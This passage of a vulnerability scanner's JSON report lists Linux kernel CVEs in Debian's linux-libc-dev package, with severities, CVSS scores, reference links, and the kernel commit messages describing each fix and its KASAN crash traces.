"https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31583" ], "PublishedDate": "2026-04-24T15:16:33.017Z", "LastModifiedDate": "2026-11-06T16:18:01.94Z" }, { "VulnerabilityID": "CVE-2026-31607", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31607", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a622c214c3ac3f70f6235cadf3568e6ecc39dfb23221c0c25aa7219da52ad506", "Title": "kernel: usbip: validate number_of_packets in usbip_pack_ret_submit()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbip: validate number_of_packets in usbip_pack_ret_submit()\n\nWhen a USB/IP client receives a RET_SUBMIT response,\nusbip_pack_ret_submit() unconditionally overwrites\nurb-\u003enumber_of_packets from the network PDU. This value is\nsubsequently used as the loop bound in usbip_recv_iso() and\nusbip_pad_iso() to iterate over urb-\u003eiso_frame_desc[], a flexible\narray whose size was fixed at URB allocation time based on the\n*original* number_of_packets from the CMD_SUBMIT.\n\nA malicious USB/IP server can set number_of_packets in the response\nto a value larger than what was originally submitted, causing a heap\nout-of-bounds write when usbip_recv_iso() writes to\nurb-\u003eiso_frame_desc[i] beyond the allocated region.\n\nKASAN confirmed this with kernel 7.0.0-rc5:\n\n BUG: KASAN: slab-out-of-bounds in usbip_recv_iso+0x46a/0x640\n Write of size 4 at addr ffff888106351d40 by task vhci_rx/69\n\n The buggy address is located 0 bytes to the right of\n allocated 320-byte region [ffff888106351c00, ffff888106351d40)\n\nThe server side (stub_rx.c) and gadget side (vudc_rx.c) already\nvalidate number_of_packets in the CMD_SUBMIT path since commits\nc6688ef9f297 (\"usbip: fix stub_rx: harden CMD_SUBMIT path to handle\nmalicious input\") and b78d830f0049 (\"usbip: fix vudc_rx: harden\nCMD_SUBMIT path to handle malicious input\"). The server side validates\nagainst USBIP_MAX_ISO_PACKETS because no URB exists yet at that point.\nOn the client side we have the original URB, so we can use the tighter\nbound: the response must not exceed the original number_of_packets.\n\nThis mirrors the existing validation of actual_length against\ntransfer_buffer_length in usbip_recv_xbuff(), which checks the\nresponse value against the original allocation size.\n\nKelvin Mbogo's series (\"usb: usbip: fix integer overflow in\nusbip_recv_iso()\", v2) hardens the receive-side functions themselves;\nthis patch complements that work by catching the bad value at its\nsource -- in usbip_pack_ret_submit() before the overwrite -- and\nusing the tighter per-URB allocation bound rather than the global\nUSBIP_MAX_ISO_PACKETS limit.\n\nFix this by checking rpdu-\u003enumber_of_packets against\nurb-\u003enumber_of_packets in usbip_pack_ret_submit() before the\noverwrite. On violation, clamp to zero so that usbip_recv_iso() and\nusbip_pad_iso() safely return early.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-805" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:24343", "https://access.redhat.com/errata/RHSA-2026:25095", "https://access.redhat.com/errata/RHSA-2026:41236", "https://access.redhat.com/security/cve/CVE-2026-31607", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/2ab833a16a825373aad2ba7d54b572b277e95b71%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2ab833a16a825373aad2ba7d54b572b277e95b71", "https://git.kernel.org/stable/c/324262c38438255bf6bdbf6342ca47c0badaab76", "https://git.kernel.org/stable/c/5e1c4ece08ccdc197177631f111845a2c68eede3", "https://git.kernel.org/stable/c/885c8591784da6314f9aa82fa460ac69f9f79e5f", "https://git.kernel.org/stable/c/8d155e2d1c4102f74f82a2bf9c016164bb0f7384", "https://git.kernel.org/stable/c/906f16a836de13fe61f49cdce2f66f2dbd14caf4", "https://git.kernel.org/stable/c/973f2c250289f5bf6cc146b98aa6fdde11fe50d6", "https://git.kernel.org/stable/c/ce744264b06b97069b3722511ab355738311fee0", "https://git.kernel.org/stable/c/ef8ebb1c637b4cfb61a9dd2e013376774ee2033b", "https://linux.oracle.com/cve/CVE-2026-31607.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042420-CVE-2026-31607-7bac@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31607", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31607.json", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8617-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://www.cve.org/CVERecord?id=CVE-2026-31607" ], "PublishedDate": "2026-04-24T15:16:39.94Z", "LastModifiedDate": "2026-10-19T19:18:01.263Z" }, { "VulnerabilityID": "CVE-2026-31614", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f5216f5159f67a68ebd31a337f686e58590daf67765742a58c7dd2fd3b98d55a", "Title": "kernel: smb: client: fix off-by-8 bounds check in check_wsl_eas()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix off-by-8 bounds check in check_wsl_eas()\n\nThe bounds check uses (u8 *)ea + nlen + 1 + vlen as the end of the EA\nname and value, but ea_data sits at offset sizeof(struct\nsmb2_file_full_ea_info) = 8 from ea, not at offset 0. The strncmp()\nlater reads ea-\u003eea_data[0..nlen-1] and the value bytes follow at\nea_data[nlen+1..nlen+vlen], so the actual end is ea-\u003eea_data + nlen + 1\n+ vlen. Isn't pointer math fun?\n\nThe earlier check (u8 *)ea \u003e end - sizeof(*ea) only guarantees the\n8-byte header is in bounds, but since the last EA is placed within 8\nbytes of the end of the response, the name and value bytes are read past\nthe end of iov.\n\nFix this mess all up by using ea-\u003eea_data as the base for the bounds\ncheck.\n\nAn \"untrusted\" server can use this to leak up to 8 bytes of kernel heap\ninto the EA name comparison and influence which WSL xattr the data is\ninterpreted as.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31614", "https://git.kernel.org/linus/3d8b9d06bd3ac4c6846f5498800b0f5f8062e53b%20%287.1-rc1%29", "https://git.kernel.org/stable/c/3d8b9d06bd3ac4c6846f5498800b0f5f8062e53b", "https://git.kernel.org/stable/c/5cc0574c84aa73946ade587c41e81757b8b01cb5", "https://git.kernel.org/stable/c/a893f1757d9a4009e4a8d7ceb2312142fe29cea4", "https://git.kernel.org/stable/c/b2b76d09a64c538c57006180103fc1841e8cfa66", "https://git.kernel.org/stable/c/ba3ad159aa61810bbe0acaf39578b1ebfb6f1a18", "https://git.kernel.org/stable/c/bfbc74df8bbe095b3ed68f6d4487b368af087890", "https://linux.oracle.com/cve/CVE-2026-31614.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042423-CVE-2026-31614-4bf1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31614", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://www.cve.org/CVERecord?id=CVE-2026-31614" ], "PublishedDate": "2026-04-24T15:16:40.663Z", "LastModifiedDate": "2026-11-06T16:18:03.247Z" }, { "VulnerabilityID": "CVE-2026-31627", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31627", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7187b2f69d43d63b5869117ba6cc73daa0a6d544ec16c393271746a4bd27c01b", "Title": "kernel: Linux kernel: i2c s3c24xx driver arbitrary code execution via SMBUS message size validation flaw", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: s3c24xx: check the size of the SMBUS message before using it\n\nThe first byte of an i2c SMBUS message is the size, and it should be\nverified to ensure that it is in the range of 0..I2C_SMBUS_BLOCK_MAX\nbefore processing it.\n\nThis is the same logic that was added in commit a6e04f05ce0b (\"i2c:\ntegra: check msg length in SMBUS block read\") to the i2c tegra driver.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31627", "https://git.kernel.org/linus/c0128c7157d639a931353ea344fb44aad6d6e17a%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2d262da4bca6fab96e2e709feb95b31b0a9a03a7", "https://git.kernel.org/stable/c/377fae22a137b6b89f3f32399a58c52cf2325416", "https://git.kernel.org/stable/c/71b3c316b22c555d2769126a92b1244b15a9750d", "https://git.kernel.org/stable/c/8f756a5964396da0fc9e0db33253a5b85dbbcbb6", "https://git.kernel.org/stable/c/aaaaec39ddbcd06770dca7f1adebc3b1242ebe7b", "https://git.kernel.org/stable/c/c0128c7157d639a931353ea344fb44aad6d6e17a", "https://git.kernel.org/stable/c/d87d5620125a03b1eadbd5df39748215d3db7ddb", "https://git.kernel.org/stable/c/fa00738ab30b07db1a43b9c85fc56b8cc3b7d197", "https://git.kernel.org/stable/c/fd1650da24ed54c716aa9b69e9bbd8a662e492da", "https://lore.kernel.org/linux-cve-announce/2026042427-CVE-2026-31627-bd9b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31627", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31627" ], "PublishedDate": "2026-04-24T15:16:42.003Z", "LastModifiedDate": "2026-06-17T10:34:07.193Z" }, { "VulnerabilityID": "CVE-2026-31678", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31678", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8406098cb668ae46894a06f7620d041beed162140bfac58aa28b2ea1b4781c1f", "Title": "kernel: openvswitch: defer tunnel netdev_put to RCU release", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: defer tunnel netdev_put to RCU release\n\novs_netdev_tunnel_destroy() may run after NETDEV_UNREGISTER already\ndetached the device. Dropping the netdev reference in destroy can race\nwith concurrent readers that still observe vport-\u003edev.\n\nDo not release vport-\u003edev in ovs_netdev_tunnel_destroy(). Instead, let\nvport_netdev_free() drop the reference from the RCU callback, matching\nthe non-tunnel destroy path and avoiding additional synchronization\nunder RTNL.", "Severity": "HIGH", "CweIDs": [ "CWE-367", "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-31678", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6931d21f87bc6d657f145798fad0bf077b82486c%20%287.0-rc6%29", "https://git.kernel.org/stable/c/42f0d3d81209654c08ffdde5a34b9b92d2645896", "https://git.kernel.org/stable/c/6931d21f87bc6d657f145798fad0bf077b82486c", "https://git.kernel.org/stable/c/98b726ab5e2a4811e27c28e4d041f75bba147eab", "https://git.kernel.org/stable/c/9d56aced21fb9c104e8a3f3be9b21fbafe448ffc", "https://git.kernel.org/stable/c/b8c56a3fc5d879c0928f207a756b0f067f06c6a8", "https://git.kernel.org/stable/c/bbe7bd722bfaea36aab3da6cc60fb4a05c644643", "https://git.kernel.org/stable/c/f0ec49d3a39c1f5a4f3270ea27ca0854fad2a2a2", "https://linux.oracle.com/cve/CVE-2026-31678.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026042544-CVE-2026-31678-79f5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31678", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31678" ], "PublishedDate": "2026-04-25T09:16:01.437Z", "LastModifiedDate": "2026-10-30T13:18:42.44Z" }, { "VulnerabilityID": "CVE-2026-31686", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31686", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:31d50e5b323bb03a2fcea5d58dcfa3eefad3cdbf8f04ce7e1494a0897c72c95b", "Title": "kernel: mm/kasan: fix double free for kasan pXds", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/kasan: fix double free for kasan pXds\n\nkasan_free_pxd() assumes the page table is always struct page aligned. \nBut that's not always the case for all architectures. E.g. In case of\npowerpc with 64K pagesize, PUD table (of size 4096) comes from slab cache\nnamed pgtable-2^9. Hence instead of page_to_virt(pxd_page()) let's just\ndirectly pass the start of the pxd table which is passed as the 1st\nargument.\n\nThis fixes the below double free kasan issue seen with PMEM:\n\nradix-mmu: Mapped 0x0000047d10000000-0x0000047f90000000 with 2.00 MiB pages\n==================================================================\nBUG: KASAN: double-free in kasan_remove_zero_shadow+0x9c4/0xa20\nFree of addr c0000003c38e0000 by task ndctl/2164\n\nCPU: 34 UID: 0 PID: 2164 Comm: ndctl Not tainted 6.19.0-rc1-00048-gea1013c15392 #157 VOLUNTARY\nHardware name: IBM,9080-HEX POWER10 (architected) 0x800200 0xf000006 of:IBM,FW1060.00 (NH1060_012) hv:phyp pSeries\nCall Trace:\n dump_stack_lvl+0x88/0xc4 (unreliable)\n print_report+0x214/0x63c\n kasan_report_invalid_free+0xe4/0x110\n check_slab_allocation+0x100/0x150\n kmem_cache_free+0x128/0x6e0\n kasan_remove_zero_shadow+0x9c4/0xa20\n memunmap_pages+0x2b8/0x5c0\n devm_action_release+0x54/0x70\n release_nodes+0xc8/0x1a0\n devres_release_all+0xe0/0x140\n device_unbind_cleanup+0x30/0x120\n device_release_driver_internal+0x3e4/0x450\n unbind_store+0xfc/0x110\n drv_attr_store+0x78/0xb0\n sysfs_kf_write+0x114/0x140\n kernfs_fop_write_iter+0x264/0x3f0\n vfs_write+0x3bc/0x7d0\n ksys_write+0xa4/0x190\n system_call_exception+0x190/0x480\n system_call_vectored_common+0x15c/0x2ec\n---- interrupt: 3000 at 0x7fff93b3d3f4\nNIP: 00007fff93b3d3f4 LR: 00007fff93b3d3f4 CTR: 0000000000000000\nREGS: c0000003f1b07e80 TRAP: 3000 Not tainted (6.19.0-rc1-00048-gea1013c15392)\nMSR: 800000000280f033 \u003cSF,VEC,VSX,EE,PR,FP,ME,IR,DR,RI,LE\u003e CR: 48888208 XER: 00000000\n\u003c...\u003e\nNIP [00007fff93b3d3f4] 0x7fff93b3d3f4\nLR 